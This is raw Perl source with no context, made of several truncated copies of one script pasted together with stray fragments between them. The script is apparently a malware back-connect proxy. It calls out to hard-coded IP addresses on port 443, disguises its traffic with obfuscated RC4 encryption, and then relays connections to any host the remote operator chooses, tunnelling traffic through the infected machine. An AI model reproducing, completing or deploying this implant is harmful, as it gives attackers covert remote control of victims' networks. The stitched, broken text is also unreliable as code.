sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.192'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.154'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.191'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.190'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = 